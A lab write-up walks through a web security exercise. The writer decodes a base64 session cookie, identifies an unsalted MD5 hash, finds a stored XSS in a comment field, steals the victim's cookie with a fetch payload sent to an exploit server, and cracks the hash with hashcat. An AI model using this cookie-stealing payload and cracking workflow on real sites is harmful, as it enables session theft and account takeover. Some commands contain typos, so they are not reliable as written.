Lab 9: Offline password cracking:
This lab stores the user’s password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos’s stay-logged-in cookie and use it to crack his password. Then, log in as carlos and delete his account from the “My account” page.
Your credentials: wiener:peter Victim’s username: carlos
Initial Reconnaissance/Discovery:
As usual we have a simple web application and a “My account” page & access to the exploit server which we will send the stolen cookie too.
Logging in to View Cookie:
As we know we need to steal the user’s cookie value via an XSS vulnerability & we know the vulnerability is in the comment section, let’s first login as our user “wiener” & tick the “Stay logged in” box so we can determine the name of the cookie and its contents.
Looking at the cookie in the inspector we can see the below we can see there are two cookies, the “stay-logged-in” cookie and the standard session cookie.
- https://owasp.org/www-community/HttpOnly
- https://owasp.org/www-community/controls/SecureCookieAttribute
Decoding The Base64 Encoded Cookie Contents:
Looking at the cookie value we can take a guess and assume it’s a base64 encoded string, however if you are unsure you can always throw it in hashes.com
echo "d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw" | base64 -d
Now I know this is an MD5 hash from experience and also contextually as I have been doing these labs & MD5 has been the standard so far. However, I understand that may not be obvious for some readers so an easy way to identify the hash type is by using either https://hashes.com/en/tools/hash_identifier
or hashid in kali.
Using hashid & hashes.com To Identify The Hash Type:
hashid "51dc30ddc473d43a6011e9ebba6ca770"
Now that output is pretty messy as it could be ANY of those right. Well we can also use online tools such as https://hashes.com/en/tools/hash_identifier
Using md5sum to Encode our Password:
We can also do a simple a check by hashing our password with md5sum and then checking it against the base64 encoded cookie value.
echo -n peter | md5sum | awk '{print $1}'
As we can see it matches.
Why This Is Bad:
This means our cookie value is “username:[hashed md5 password with no salt]” then this is encoded in base64…if you hadn’t guessed it this is really insecure, couple this with not using “HttpOnly” or “Secure” cookie values and you have a recipe for disaster.
Enumerating The Stored XSS Vulnerability:
We know there is a stored xxs vulnerability and looking at the articles we have the ability to leave a comment and include our name, email & website. Let’s enumerate what field(s) are vulnerable.
We can fill all injection points with the payload below & modify the string to include the field name so we can determine which field is vulnerable.
<script>console.log("xsstest [fieldname]:"location.origin</script>)
When we try and submit the payloads we get a popup regarding the format of the email address & website fields. It appears it’s parsing these field’s to ensure they have the correctly formatted strings in them. No way round.
This leaves us with the “Comment” & “Name” fields.
When we submit these payloads they successful post.
Now to validate our stored XSS we will ensure the console is open & reload the page. As we can see we get a hit for the comment section so we know there an xss vulnerability in the comment field.
Crafting An XSS Payload To Steal The Users Cookie:
Now we need to use our attack server to act as an endpoint to send carlos’ cookie once the xss exploit retrieves it.
We can take the exploit server url & append place that in our payload so it becomes.
<body onload="fetch('[explloitServerUrl'+document.cookie)">
We then submit this as a comment.
Now when go back to the exploit server page we can check the “Access log” to see what has accessed the exploit server url.
As we can see the exploit server has been accessed and it has the “stay-logged-in” cookie.
Let’s base64 decode it.
echo "Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz" | base64 -d
As we can see it’s carlos’ cookie!
Cracking Carlos’ Hash With Hashcat:
Now we need to crack the hash so let’s put the hash in a file.
echo "26323c16d5f4dabff3bb136f2460a943" >> lab9.hash
Now what you may notice is if we try and use the provided wordlist for this, the password will not be found. However there is a hint to why this is in the preceeding section:
In some rare cases, it may be possible to obtain a user’s actual password in cleartext from a cookie, even if it is hashed. Hashed versions of well-known password lists are available online, so if the user’s password appears in one of these lists, decrypting the hash can occasionally be as trivial as just pasting the hash into a search engine. This demonstrates the importance of salt in effective encryption.
Now we could just paste this into hash into our search engine but that’s a bad idea on a real engagement so let’s use a well known password list, rockyou.txt.
+Note+: rockyou.txt is available by default in kali, under /usr/share/wordlists/rockyou.txt.gz (it’s compressed compressed so you will need to decompress with gunzip rockyou.txt.gz /user/share/wordlists/rockyou.txt.gz
We can use hashcat to decrypt the password using hashcat.
hashcat lab9.hash -m 0 /usr/share/wordlist/rockyou.txt
As you can see we get a hit for onceuponatime
Let’s login with these creds.
As we can see we can login.
Finally we delete carlos’ account to solve the lab after we are prompted again to enter the password.
Lab solved.
